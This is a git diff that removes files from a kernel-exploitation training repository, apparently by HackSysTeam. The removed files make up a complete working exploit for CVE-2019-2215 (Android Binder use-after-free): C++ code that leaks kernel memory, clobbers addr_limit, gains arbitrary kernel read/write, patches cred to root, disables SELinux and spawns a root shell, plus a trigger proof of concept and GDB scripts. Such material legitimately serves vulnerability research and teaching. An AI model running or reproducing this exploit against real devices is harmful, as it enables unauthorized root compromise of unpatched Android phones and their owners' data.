INFO("[+] Mapping 4GB aligned page\n"); - - m_4gb_aligned_page = mmap( - (void *) 0x100000000ul, - PAGE_SIZE, - PROT_READ | PROT_WRITE, - MAP_PRIVATE | MAP_ANONYMOUS, - -1, - 0 - ); - - if (!m_4gb_aligned_page) { - ERR("\t[-] Unable to mmap 4GB aligned page\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Mapped page: %p\n", m_4gb_aligned_page); - } - } -} - - -/** - * Link eppoll_entry->wait.entry to binder_thread->wait.head - */ -void BinderUaF::linkEventPollWaitQueueToBinderThreadWaitQueue() { - INFO("[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n"); - - epoll_ctl(m_epoll_fd, EPOLL_CTL_ADD, m_binder_fd, &m_epoll_event); -} - - -/** - * Unlink eppoll_entry->wait.entry from binder_thread->wait.head - */ -void BinderUaF::unlinkEventPollWaitQueueFromBinderThreadWaitQueue() { - INFO("[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n"); - - epoll_ctl(m_epoll_fd, EPOLL_CTL_DEL, m_binder_fd, &m_epoll_event); -} - - -/** - * The dangling chunk is binder_thread structure - * and it contains an interesting member task_struct - */ -void BinderUaF::leakTaskStruct() { - int pipe_fd[2] = {0}; - ssize_t nBytesRead = 0; - static char dataBuffer[PAGE_SIZE] = {0}; - struct iovec iovecStack[IOVEC_COUNT] = {nullptr}; - - // - // Get binder fd - // - - setupBinder(); - - // - // Create event poll - // - - setupEventPoll(); - - // - // We are going to use iovec for scoped read/write, - // we need to make sure that iovec stays in the kernel - // before we trigger the unlink after binder_thread has - // been freed. - // - // One way to achieve this is by using the blocking APIs - // in Linux kernel. Such APIs are read, write, etc on pipe. - // - - // - // Setup pipe for iovec - // - - INFO("[+] Setting up pipe\n"); - - if (pipe(pipe_fd) == -1) { - ERR("\t[-] Unable to create pipe\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Pipe created successfully\n"); - } - - // - // pipe_fd[0] = read fd - // pipe_fd[1] = write fd - // - // Default size of pipe is 65536 = 0x10000 = 64KB - // This is way much of data that we care about - // Let's reduce the size of pipe to 0x1000 - // - if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) { - ERR("\t[-] Unable to change the pipe capacity\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE); - } - - INFO("[+] Setting up iovecs\n"); - - // - // As we are overlapping binder_thread with iovec, - // binder_thread->wait.lock will align to iovecStack[10].io_base. - // - // If binder_thread->wait.lock is not 0 then the thread will get - // stuck in trying to acquire the lock and the unlink operation - // will not happen. - // - // To avoid this, we need to make sure that the overlapped data - // should be set to 0. - // - // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if - // we can pass a valid memory address whose lower 32bit value is 0, - // then we can avoid spin lock issue. - // - - mmap4gbAlignedPage(); - - iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page; - iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE; - iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141; - iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE; - - // - // Now link the poll wait queue to binder thread wait queue - // - - linkEventPollWaitQueueToBinderThreadWaitQueue(); - - // - // We should trigger the unlink operation when we - // have the binder_thread reallocated as iovec array - // - - // - // Now fork - // - - pid_t childPid = fork(); - - if (childPid == 0) { - // - // child process - // - - // - // There is a race window between the unlink and blocking - // in writev, so sleep for a while to ensure that we are - // blocking in writev before the unlink happens - // - - sleep(2); - - // - // Trigger the unlink operation on the reallocated chunk - // - - unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); - - // - // First interesting iovec will read 0x1000 bytes of data. - // This is just the junk data that we are not interested in - // - - nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer)); - - if (nBytesRead != PAGE_SIZE) { - ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE); - exit(EXIT_FAILURE); - } - - exit(EXIT_SUCCESS); - - } - - // - // parent process - // - - // - // I have seen some races which hinders the reallocation. - // So, now freeing the binder_thread after fork. - // - - freeBinderThread(); - - // - // Reallocate binder_thread as iovec array - // - // We need to make sure this writev call blocks - // This will only happen when the pipe is already full - // - - // - // This print statement was ruining the reallocation, - // spent a night to figure this out. Commenting the - // below line. - // - - // INFO("[+] Reallocating binder_thread\n"); - - - ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT); - - // - // If the corruption was successful, the total bytes written - // should be equal to 0x2000. This is because there are two - // valid iovec and the length of each is 0x1000 - // - - if (nBytesWritten != PAGE_SIZE * 2) { - ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten); - } - - // - // Now read the actual data from the corrupted iovec - // This is the leaked data from kernel address space - // and will contain the task_struct pointer - // - - nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer)); - - if (nBytesRead != PAGE_SIZE) { - ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE); - exit(EXIT_FAILURE); - } - - // - // Wait for the child process to exit - // - - wait(nullptr); - - m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA)); - - m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid)); - m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred)); - m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy)); - - INFO("[+] Leaked task_struct: %p\n", m_task_struct); - INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress); - INFO("\t[*] &task_struct->cred: %p\n", m_credAddress); - INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress); -} - - -/** - * Clobber addr_limit - */ -void BinderUaF::clobberAddrLimit() { - int sock_fd[2] = {0}; - ssize_t nBytesWritten = 0; - struct msghdr message = {nullptr}; - struct iovec iovecStack[IOVEC_COUNT] = {nullptr}; - - // - // Get binder fd - // - - setupBinder(); - - // - // Create event poll - // - - setupEventPoll(); - - // - // For clobbering the addr_limit we trigger the unlink - // operation again after reallocating binder_thread with - // iovecs - // - // If you see how we manage to leak kernel data is by using - // the blocking feature of writev - // - // We could use readv blocking feature to do scoped write - // However, after trying readv and reading the Linux kernel - // code, I figured out an issue which makes readv useless for - // current bug. - // - // The main issue that I found is: - // - // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer - // due to unlink operation - // - // So, when copy_page_to_iter_iovec tries to process the iovecs, - // there is a line of code, copy = min(bytes, iov->iov_len); - // Here, "bytes" is equal to sum of all iovecs length and as - // "iov->iov_len" is corrupted with a pointer which is obviously - // a very big number, now copy = sum of all iovecs length and skips - // the processing of the next iovec which is the target iovec which - // would give was scoped write. - // - // I believe P0 also faced the same issue so they switched to recvmsg - // - - // - // Setup socketpair for iovec - // - // AF_UNIX/AF_LOCAL is used because we are interested only in - // local communication - // - // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg - // - - INFO("[+] Setting up socket\n"); - - if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) { - ERR("\t[-] Unable to create socketpair\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Socketpair created successfully\n"); - } - - // - // We will just write junk data to socket so that when recvmsg - // is called it process the fist valid iovec with this junk data - // and then blocks and waits for the rest of the data to be received - // - - static char junkSocketData[] = { - 0x41 - }; - - INFO("[+] Writing junk data to socket\n"); - - nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData)); - - if (nBytesWritten != sizeof(junkSocketData)) { - ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten, sizeof(junkSocketData)); - exit(EXIT_FAILURE); - } - - // - // Write junk data to the socket so that when recvmsg is - // called, it process the first valid iovec with this junk - // data and then blocks for the rest of the incoming socket data - // - - INFO("[+] Setting up iovecs\n"); - - // - // We want to block after processing the iovec at IOVEC_WQ_INDEX, - // because then, we can trigger the unlink operation and get the - // next iovecs corrupted to gain scoped write. - // - - mmap4gbAlignedPage(); - - iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page; - iovecStack[IOVEC_WQ_INDEX].iov_len = 1; - iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141; - iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8; - iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242; - iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8; - - // - // Prepare the data buffer that will be written to socket - // - - // - // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64 - // will result in crash because of a check in do_page_fault - // However, x86_64 does not have this check. But it's better - // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can - // be used in arm64 as well. - // - - static uint64_t finalSocketData[] = { - 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len - 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base - 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len - (uint64_t) ((uint8_t *) m_task_struct + - OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base - 0xFFFFFFFFFFFFFFFE // addr_limit value - }; - - // - // Prepare the message - // - - message.msg_iov = iovecStack; - message.msg_iovlen = IOVEC_COUNT; - - // - // Now link the poll wait queue to binder thread wait queue - // - - linkEventPollWaitQueueToBinderThreadWaitQueue(); - - // - // We should trigger the unlink operation when we - // have the binder_thread reallocated as iovec array - // - - // - // Now fork - // - - pid_t childPid = fork(); - - if (childPid == 0) { - // - // child process - // - - // - // There is a race window between the unlink and blocking - // in writev, so sleep for a while to ensure that we are - // blocking in writev before the unlink happens - // - - sleep(2); - - // - // Trigger the unlink operation on the reallocated chunk - // - - unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); - - // - // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len - // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered - // - // Write rest of the data to the socket so that recvmsg starts - // processing the corrupted iovecs and we get scoped write and - // finally arbitrary write - // - - nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData)); - - if (nBytesWritten != sizeof(finalSocketData)) { - ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten, sizeof(finalSocketData)); - exit(EXIT_FAILURE); - } - - exit(EXIT_SUCCESS); - - } - - // - // parent process - // - - // - // I have seen some races which hinders the reallocation. - // So, now freeing the binder_thread after fork. - // - - freeBinderThread(); - - // - // Reallocate binder_thread as iovec array and - // we need to make sure this recvmsg call blocks. - // - // recvmsg will block after processing a valid iovec at - // iovecStack[IOVEC_WQ_INDEX] - // - - ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL); - - // - // If the corruption was successful, the total bytes received - // should be equal to length of all iovec. This is because there - // are three valid iovec - // - - ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len + - iovecStack[IOVEC_WQ_INDEX + 1].iov_len + - iovecStack[IOVEC_WQ_INDEX + 2].iov_len; - - if (nBytesReceived != expectedBytesReceived) { - ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived); - exit(EXIT_FAILURE); - } - - // - // Wait for the child process to exit - // - - wait(nullptr); -} - - -/** - * Initialize kernel read write pipe - */ -void BinderUaF::initKernelReadWritePipe() { - // - // Setup the pipe that will be used for - // arbitrary kernel read/write primitive - // - - INFO("[+] Setting up pipe for kernel read/write\n"); - - if (pipe(m_kernel_rw_pipe_fd) == -1) { - ERR("\t[-] Unable to create pipe\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Pipe created successfully\n"); - } -} - - -/** - * Verify arbitrary read write primitive - */ -void BinderUaF::verifyArbitraryReadWrite() { - INFO("[+] Verifying arbitrary read/write primitive\n"); - - // - // Get the current pid - // - - pid_t currentPid = getpid(); - - // - // Expected pid from task_struct - // - - pid_t expectedPid = 0; - - // - // Now read the pid from the task_struct - // - - expectedPid = kReadDword(m_pidAddress); - - INFO("\t[*] currentPid: %d\n", currentPid); - INFO("\t[*] expectedPid: %d\n", expectedPid); - - if (currentPid != expectedPid) { - ERR("\t[-] Arbitrary read/write failed\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Arbitrary read/write successful\n"); - } -} - - -/** - * Read from arbitrary address - * - * @param Address: address from where to read - * @param Length: how much to read - * @param uBuffer: output user buffer - */ -void BinderUaF::kRead(void *Address, size_t Length, void *uBuffer) { - // - // Once the addr_limit is clobbered, it's - // easy to gain arbitrary read primitive - // - - // - // Write the data from kernel address to the fd - // - - ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], Address, Length); - - if ((size_t) nBytesWritten != Length) { - ERR("[-] Failed to write data from kernel: %p", Address); - exit(EXIT_FAILURE); - } - - ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], uBuffer, Length); - - if ((size_t) nBytesRead != Length) { - ERR("[-] Failed to read data from kernel: %p", Address); - exit(EXIT_FAILURE); - } - -} - - -/** - * Write to arbitrary address - * - * @param Address: address where to write - * @param Length: how much to write - * @param uBuffer: input user buffer - */ -void BinderUaF::kWrite(void *Address, size_t Length, void *uBuffer) { - // - // Write the data from kernel address to the fd - // - - ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], uBuffer, Length); - - if ((size_t) nBytesWritten != Length) { - ERR("[-] Failed to write data from user: %p", Address); - exit(EXIT_FAILURE); - } - - ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], Address, Length); - - if ((size_t) nBytesRead != Length) { - ERR("[-] Failed to write data to kernel: %p", Address); - exit(EXIT_FAILURE); - } - -} - - -/** - * Read qword from arbitrary address - * - * @param Address: address from where to read - * @return: qword - */ -uint64_t BinderUaF::kReadQword(void *Address) { - uint64_t buffer = 0; - - kRead(Address, sizeof(buffer), &buffer); - return buffer; -} - - -/** - * Read dword from arbitrary address - * - * @param Address: address from where to read - * @return: dword - */ -uint32_t BinderUaF::kReadDword(void *Address) { - uint32_t buffer = 0; - - kRead(Address, sizeof(buffer), &buffer); - return buffer; -} - - -/** - * Write dword to arbitrary address - * - * @param Address: address where to write - * @param Value: value to write - */ -void BinderUaF::kWriteDword(void *Address, uint32_t Value) { - kWrite(Address, sizeof(Value), &Value); -} - - -/** - * Write qword to arbitrary address - * - * @param Address: address where to write - * @param Value: value to write - */ -void BinderUaF::kWriteQword(void *Address, uint64_t Value) { - kWrite(Address, sizeof(Value), &Value); -} - - -/** - * Patch cred data structure - */ -void BinderUaF::patchCred() { - // - // To achieve root we need to patch the cred structure - // - // Pointer to cred is stored in task_struct - // - - // - // To root basically we need to do this: - // - // commit_cred(prepare_kernel_cred(0)); - // - - // - // struct cred init_cred = { - // .usage = ATOMIC_INIT(4), - // .uid = GLOBAL_ROOT_UID, - // .gid = GLOBAL_ROOT_GID, - // .suid = GLOBAL_ROOT_UID, - // .sgid = GLOBAL_ROOT_GID, - // .euid = GLOBAL_ROOT_UID, - // .egid = GLOBAL_ROOT_GID, - // .fsuid = GLOBAL_ROOT_UID, - // .fsgid = GLOBAL_ROOT_GID, - // .securebits = SECUREBITS_DEFAULT, - // .cap_inheritable = CAP_EMPTY_SET, - // .cap_permitted = CAP_FULL_SET, - // .cap_effective = CAP_FULL_SET, - // .cap_bset = CAP_FULL_SET, - // .user = INIT_USER, - // .user_ns = &init_user_ns, - // .group_info = &init_groups, - // }; - - // - // Read the address of cred from task_struct - // - - INFO("[+] Patching current task cred members\n"); - - m_cred = (struct cred *) kReadQword(m_credAddress); - - if (!m_cred) { - ERR("\t[-] Failed to read cred: %p", m_credAddress); - exit(EXIT_FAILURE); - } - - INFO("\t[*] cred: %p\n", m_cred); - - // - // Now patch the cred structure members - // - - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, uid)), GLOBAL_ROOT_UID); - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, gid)), GLOBAL_ROOT_GID); - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, suid)), GLOBAL_ROOT_UID); - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, sgid)), GLOBAL_ROOT_GID); - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, euid)), GLOBAL_ROOT_UID); - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, egid)), GLOBAL_ROOT_GID); - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsuid)), GLOBAL_ROOT_UID); - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsgid)), GLOBAL_ROOT_GID); - kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, securebits)), SECUREBITS_DEFAULT); - kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_inheritable)), CAP_EMPTY_SET); - kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_permitted)), CAP_FULL_SET); - kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_effective)), CAP_FULL_SET); - kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_bset)), CAP_FULL_SET); - kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_ambient)), CAP_EMPTY_SET); -} - - -/** - * Disable selinux enforcing globally - */ -void BinderUaF::disableSELinuxEnforcing() { - // - // Check if selinux enforcing is enabled - // - - INFO("[+] Verifying if selinux enforcing is enabled\n"); - - // - // selinux_enforcing is a global variable which - // control whether selinux is enabled or disabled - // - // By default selinux_enforcing is set to 0x1 which - // means it's globally enabled - // - - // - // task_struct has a pointer to global data structure nsproxy, - // reading that pointer will allow us to break KASLR - // - - ptrdiff_t nsProxy = kReadQword(m_nsproxyAddress); - - if (!nsProxy) { - ERR("\t[-] Failed to read nsproxy: %p", m_nsproxyAddress); - exit(EXIT_FAILURE); - } - - ptrdiff_t kernelBase = nsProxy - SYMBOL_OFFSET_init_nsproxy; - auto selinuxEnforcing = (void *) (kernelBase + SYMBOL_OFFSET_selinux_enforcing); - - INFO("\t[*] nsproxy: 0x%lx\n", nsProxy); - INFO("\t[*] Kernel base: 0x%lx\n", kernelBase); - INFO("\t[*] selinux_enforcing: %p\n", selinuxEnforcing); - - int selinuxEnabled = kReadDword(selinuxEnforcing); - - if (!selinuxEnabled) { - INFO("\t[*] selinux enforcing is disabled\n"); - return; - } - - INFO("\t[*] selinux enforcing is enabled\n"); - - // - // Now patch selinux_enforcing - // - - kWriteDword(selinuxEnforcing, 0x0); - - INFO("\t[*] Disabled selinux enforcing\n"); -} - - -/** - * Verify if rooting is successful - */ -void BinderUaF::verifyRoot() { - INFO("[+] Verifying if rooted\n"); - - uid_t realUserId = getuid(); - - INFO("\t[*] uid: 0x%x\n", realUserId); - - // - // If the cred patching was successful, - // we should get the uid as 0 - // - - if (realUserId != 0) { - ERR("\t[-] Rooting failed\n"); - exit(EXIT_FAILURE); - } else { - INFO("\t[*] Rooting successful\n"); - } -} - - -/** - * Spawn root shell - */ -void BinderUaF::spawnRootShell() { - // - // Spawn root shell - // - - INFO("[+] Spawning root shell\n"); - - system("/bin/sh"); -} - - -/** - * Program entry point - * - * @return: success or failure - */ -int main() { - auto *binderUaF = new BinderUaF(); - - // - // Bind to CPU 0 - // - - binderUaF->bindToCPU(); - - // - // Leak current task_struct - // - - binderUaF->leakTaskStruct(); - - // - // Clobber addr_limit - // - - binderUaF->clobberAddrLimit(); - - // - // Initialize pipe to be used for arbitrary read/write - // - - binderUaF->initKernelReadWritePipe(); - - // - // Verify arbitrary read/write primitive - // - - binderUaF->verifyArbitraryReadWrite(); - - // - // Patch cred structure members - // - - binderUaF->patchCred(); - - // - // Disable selinux enforcing - // - - binderUaF->disableSELinuxEnforcing(); - - // - // Verify if rooting successful - // - - binderUaF->verifyRoot(); - - // - // Spawn root shell - // - - binderUaF->spawnRootShell(); - - return EXIT_SUCCESS; -} \ No newline at end of file diff --git a/exploit/exploit.h b/exploit/exploit.h deleted file mode 100644 index c27bcb5..0000000 --- a/exploit/exploit.h +++ /dev/null @@ -1,108 +0,0 @@ -/*++ - - ## # # ### ### ### # ### ### ### # ### - # # # # # # # ## # # # # ## # - # # # ## ### ### # # # ### ### ### ### # ### - # # # # # # # # # # # # # - ## # ### ### ### ### ### ### ### ### ### - @HackSysTeam - - CVE-2019-2215 - Android Binder Use after Free - CloudFuzz TechnoLabs Pvt. Ltd. - - https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ - https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 - https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html - - Thanks: - @maddiestone - @tehjh - ---*/ - -#pragma once - -#ifndef __EXPLOIT_H__ -#define __EXPLOIT_H__ - -#include "common.h" - - -/** - * Defines - */ - -#define BINDER_THREAD_EXIT 0x40046208ul -#define TASK_STRUCT_OFFSET_IN_LEAKED_DATA 0xE8 -#define IOVEC_COUNT (int) (sizeof(struct binder_thread) / sizeof(struct iovec)) -#define IOVEC_WQ_INDEX (int) (offsetof(struct binder_thread, wait) / sizeof(struct iovec)) - - -/** - * Class definition - */ - -class BinderUaF { -private: - int m_epoll_fd = 0; - int m_binder_fd = 0; - void *m_pidAddress = nullptr; - struct cred *m_cred = nullptr; - void *m_credAddress = nullptr; - void *m_nsproxyAddress = nullptr; - int m_kernel_rw_pipe_fd[2] = {0}; - void *m_4gb_aligned_page = nullptr; - struct task_struct *m_task_struct = nullptr; - struct epoll_event m_epoll_event = {.events = EPOLLIN}; - - -public: - BinderUaF() { - INFO(BANNER); - }; - - void bindToCPU(); - - void initKernelReadWritePipe(); - - void setupBinder(); - - void freeBinderThread(); - - void setupEventPoll(); - - void mmap4gbAlignedPage(); - - void linkEventPollWaitQueueToBinderThreadWaitQueue(); - - void unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); - - void leakTaskStruct(); - - void clobberAddrLimit(); - - void verifyArbitraryReadWrite(); - - void patchCred(); - - void verifyRoot(); - - void disableSELinuxEnforcing(); - - void spawnRootShell(); - - void kRead(void *Address, size_t Length, void *uBuffer); - - void kWrite(void *Address, size_t Length, void *uBuffer); - - uint64_t kReadQword(void *Address); - - uint32_t kReadDword(void *Address); - - void kWriteQword(void *Address, uint64_t Value); - - void kWriteDword(void *Address, uint32_t Value); -}; - -#endif //__EXPLOIT_H__ diff --git a/exploit/trigger.cpp b/exploit/trigger.cpp deleted file mode 100644 index ac38847..0000000 --- a/exploit/trigger.cpp +++ /dev/null @@ -1,41 +0,0 @@ -/*++ - - ## # # ### ### ### # ### ### ### # ### - # # # # # # # ## # # # # ## # - # # # ## ### ### # # # ### ### ### ### # ### - # # # # # # # # # # # # # - ## # ### ### ### ### ### ### ### ### ### - @HackSysTeam - - CVE-2019-2215 - Android Binder Use after Free - CloudFuzz TechnoLabs Pvt. Ltd. - - https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ - https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 - https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html - - Thanks: - @maddiestone - @tehjh - ---*/ - -#include -#include -#include -#include - - -#define BINDER_THREAD_EXIT 0x40046208ul - - -int main() { - int fd, epfd; - struct epoll_event event = {.events = EPOLLIN}; - - fd = open("/dev/binder", O_RDONLY); - epfd = epoll_create(1000); - epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); - ioctl(fd, BINDER_THREAD_EXIT, NULL); -} diff --git a/gdb/dynamic-analysis.py b/gdb/dynamic-analysis.py deleted file mode 100644 index 82d3bef..0000000 --- a/gdb/dynamic-analysis.py +++ /dev/null @@ -1,180 +0,0 @@ -# -*- coding: utf-8 -*- -# -# ##### ####### -# # # # #### # # ##### # # # ###### ###### -# # # # # # # # # # # # # # -# # # # # # # # # ##### # # # # -# # # # # # # # # # # # # # -# # # # # # # # # # # # # # # -# ##### ###### #### #### ##### # #### ###### ###### -# @HackSysTeam -# - -import gdb - - -def get_current_task(): - per_cpu_offset = gdb.parse_and_eval("__per_cpu_offset[0]") - current_task_offset = gdb.parse_and_eval("current_task").address - - current_task = gdb.parse_and_eval( - "*(struct task_struct *)*(long *){0}".format( - long(per_cpu_offset) + long(current_task_offset)) - ) - return current_task - - -def get_current_proc_comm(): - current_task = get_current_task() - return current_task["comm"].string() - - -binder_thread_address = None - -def set_dump_binder_thread(parameters): - global binder_thread_address - - binder_thread_address = parameters["thread"] - gdb.execute("x/51gx {0}".format(binder_thread_address)) - gdb.write("\n") - - -def dump_binder_thread(parameters): - if not binder_thread_address: - return - - if long(binder_thread_address) + 0xA0 == parameters["wq_head"]: - gdb.execute("x/51gx {0}".format(binder_thread_address)) - gdb.write("\n") - - -class EnterBp(gdb.Breakpoint): - def __init__( - self, proc_cmd, entry_symbol, param_list=[], - exit_symbol=None, break_at_entry=False, entry_callback=None, - break_at_exit=False, exit_callback=None, set_exit_bp = False - ): - super(EnterBp, self).__init__(entry_symbol) - - self.silent = True - self.proc_cmd = proc_cmd - self.function_name = entry_symbol - self.function_params = param_list - self.exit_symbol = exit_symbol - self.break_at_entry = break_at_entry - self.entry_callback = entry_callback - self.break_at_exit = break_at_exit - self.exit_callback = exit_callback - self.set_exit_bp = set_exit_bp - self.exit_bp_already_set = False - self.parameter = {} - - def stop(self): - is_right_process = False - - if self.proc_cmd in get_current_proc_comm(): - is_right_process = True - - if not is_right_process: - return False - - for i, param_name in enumerate(self.function_params): - self.parameter[param_name] = gdb.newest_frame().read_var(param_name) - - # build the parameter value list - params = "" - param_length = len(self.parameter) - - for i, (key, value) in enumerate(self.parameter.items()): - tmp = "{key}={value}".format(key=key, value=value) - params += tmp - - if not i == param_length - 1: - params += ", " - - # print the function name and the parameters with their values - gdb.write( - "{function}({param})(enter)\n".format( - function=self.function_name, param=params - ) - ) - - # call the entry callback - if self.entry_callback: - self.entry_callback(self.parameter) - - # set the exit breakpoint - if self.set_exit_bp and not self.exit_bp_already_set: - ExitBp( - proc_cmd=self.proc_cmd, entry_symbol=self.function_name, - exit_symbol=self.exit_symbol, params=self.parameter, - break_at_exit=self.break_at_exit, exit_callback=self.exit_callback - ) - self.exit_bp_already_set = True - - # should we break in debugger - return self.break_at_entry - - -class ExitBp(gdb.Breakpoint): - def __init__( - self, proc_cmd, entry_symbol, exit_symbol, params={}, - break_at_exit=False, exit_callback=None, - ): - super(ExitBp, self).__init__(exit_symbol) - - self.silent = True - self.proc_cmd = proc_cmd - self.entry_symbol = entry_symbol - self.exit_symbol = exit_symbol - self.parameter = params - self.break_at_exit = break_at_exit - self.exit_callback = exit_callback - - def stop(self): - is_right_process = False - - if self.proc_cmd in get_current_proc_comm(): - is_right_process = True - - if not is_right_process: - return False - - gdb.write( - "{entry}_{exit}(exit)\n".format( - entry=self.entry_symbol, exit=self.exit_symbol - ) - ) - - # call the entry callback - if self.exit_callback: - self.exit_callback(self.parameter) - - return self.break_at_exit - - -# clear all prior breakpoints -gdb.execute("delete") - -# -# list of breakpoints -# - -# before binder_thread is freed -EnterBp( - proc_cmd="cve-2019-2215", entry_symbol="binder_free_thread", - param_list=["thread"], exit_symbol=None, break_at_entry=False, - entry_callback=set_dump_binder_thread, break_at_exit=False, - exit_callback=None, set_exit_bp=False -) - -# before and after the unlink operation happens -# entry_symbol = remove_wait_queue -# exit_symbol = wait.c:52 -EnterBp( - proc_cmd="cve-2019-2215", entry_symbol="remove_wait_queue", - param_list=["wq_head", "wq_entry"], exit_symbol="wait.c:52", - break_at_entry=False, entry_callback=dump_binder_thread, - break_at_exit=False, exit_callback=dump_binder_thread, - set_exit_bp=True -) diff --git a/gdb/root-me.py b/gdb/root-me.py deleted file mode 100644 index fbb48da..0000000 --- a/gdb/root-me.py +++ /dev/null @@ -1,226 +0,0 @@ -# -*- coding: utf-8 -*- - -import gdb -import struct - - -# -# https://github.com/torvalds/linux/tree/master/scripts/gdb -# - -def offset_of(typeobj, field): - element = gdb.Value(0).cast(typeobj) - return int(str(element[field].address).split()[0], 16) - - -def container_of(ptr, typeobj, member): - return (ptr.cast(gdb.lookup_type("long")) - offset_of(typeobj, member)).cast(typeobj) - - -def task_lists(): - task_ptr_type = gdb.lookup_type("struct task_struct").pointer() - init_task = gdb.parse_and_eval("init_task").address - t = g = init_task - - while True: - while True: - yield t - - t = container_of(t["thread_group"]["next"], - task_ptr_type, "thread_group") - if t == g: - break - - t = g = container_of(g["tasks"]["next"], task_ptr_type, "tasks") - if t == init_task: - return - - -def get_task_by_pid(pid): - for task in task_lists(): - if int(task["pid"]) == pid: - return task - return None - - -def read32(address): - return struct.unpack(" - Android Kernel Exploitation - - - -## Author - -**Ashfaq Ansari ([@HackSysTeam](https://twitter.com/HackSysTeam))** of **[CloudFuzz](https://cloudfuzz.io)**. - -

                  - CloudFuzz -

